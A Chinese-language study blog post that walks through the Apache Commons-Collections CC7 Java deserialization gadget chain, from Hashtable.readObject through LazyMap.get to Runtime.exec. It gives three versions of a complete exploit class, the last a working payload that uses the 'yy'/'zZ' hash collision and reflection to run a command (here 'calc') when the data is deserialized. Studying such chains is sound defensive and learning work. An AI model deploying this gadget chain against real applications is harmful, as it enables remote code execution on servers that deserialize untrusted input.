Java_Commons-Collections 7(CC7) 学习过程
Java_Commons-Collections 7 学习过程
CC7可以说就是换一条路走到LazyMap
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
分析链子
后半部分
后面触发的链子就跟CC1一样
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
然后就是CC7是如何到LazyMap.get()
的
前半部分
在CC7中最后是通过AbstractMap.equals()
来触发对LazyMap.get()
方法的调用
也就是如果这里的m是我们可控的,那么我们设置m为LazyMap就可以了
然后我们在看看CC7是怎么走道equals这里的
CC7中的入口点是Hashtable
跟进 reconstitutionPut()
方法,可以看到 reconstitutionPut()
方法调用了 equals()
方法,当然它也调用了 hashCode()
方法,如果这里走 hashCode()
,又回到 CC6 的链子了
LazyMap中并没有equals方法那么接下来是怎么调用的呢
实际上是调用了LazyMap
的父类AbstractMapDecorator
的equals
方法,AbstractMapDecorator
是一个抽象类,它实现了equals
方法。
AbstractMapDecorator类的equals方法只比较了这两个key的引用,如果不是同一对象会再次调用equals方法,map属性是通过LazyMap传递的,我们在构造利用链的时候,通过LazyMap的静态方法decorate将HashMap传给了map属性,因此这里会调用HashMap的equals方法。
但是HashMap里也没equals方法啊,大no特no发现HashMap继承了AbstractMap抽象类,该类中有一个equals方法
是不是就接上了
不考虑条件的情况下编写一下理想Exp,想想发现只要传key的时候传decorateMap好像是不是就可以了
try一try
By the way:Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,因此HashTable.readObject()
方法里面的key和value实际上就是使用HashTable.put()
方法放进去的键值对
package CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7Exp {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Hashtable hashtable = new Hashtable<>();
hashtable.put(decorateMap, "nbc");
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
按照剧情发展肯定是没反应的所以下面
tnnd为什么不弹
把断点打在了 AbstractMap.equals()
的地方看看,发现根本就没执行到这
直接打到前面reconstitutionPut
发现跟本没进入那个for循环
我们看看yso里面是怎么写的
yso 这里的链子比我们多了一个 map
两次
put()
其中map中key的值分别为yy和zZremove了yy
1.Hashtable
的 reconstitutionPut()
方法是被遍历调用的,第一次调用的时候,并不会走入到 reconstitutionPut()
方法 for 循环里面,因为 tab[index]
的内容是空的,在下面会对 tab[index]
进行赋值。
在第二次调用reconstitutionPut()
时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals()
方法。这也是为什么要调用两次put的原因。
2.第二次调用 reconstitutionPut()
进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过 (e.hash == hash)
判断为真才能走到我们想要的 e.key.equal()
方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode()
得到的,也就是说 lazyMap1 的 hash 值就是 "yy".hashCode()
,lazyMap2 的 hash 值就是 "zZ".hashCode()
,而在 java 中有一个小 bug
"yy".hashCode() == "zZ".hashCode()
yy
和 zZ
由 hashCode()
计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put()
的值设置为 yy
和 zZ
,才能走到我们想要的 e.key.equal()
方法中。
3.HashTable.put()
会调用到 equals()
当调用完 equals()
方法后,LazyMap2 的 key 中就会增加一个 yy 键:
这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对
所以就改成这样
package CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7Exp {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
decorateMap2.remove("yy");
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
但是这样序列化和反序列化都会执行一遍,所以就还是先常量再反射改
最终Exp
package CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7Exp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
后记
可以看看这个equals是干什么的以及其他方法这样会更好理解一些
CC链完结撒花,有好多东西要学还有期末考试和四级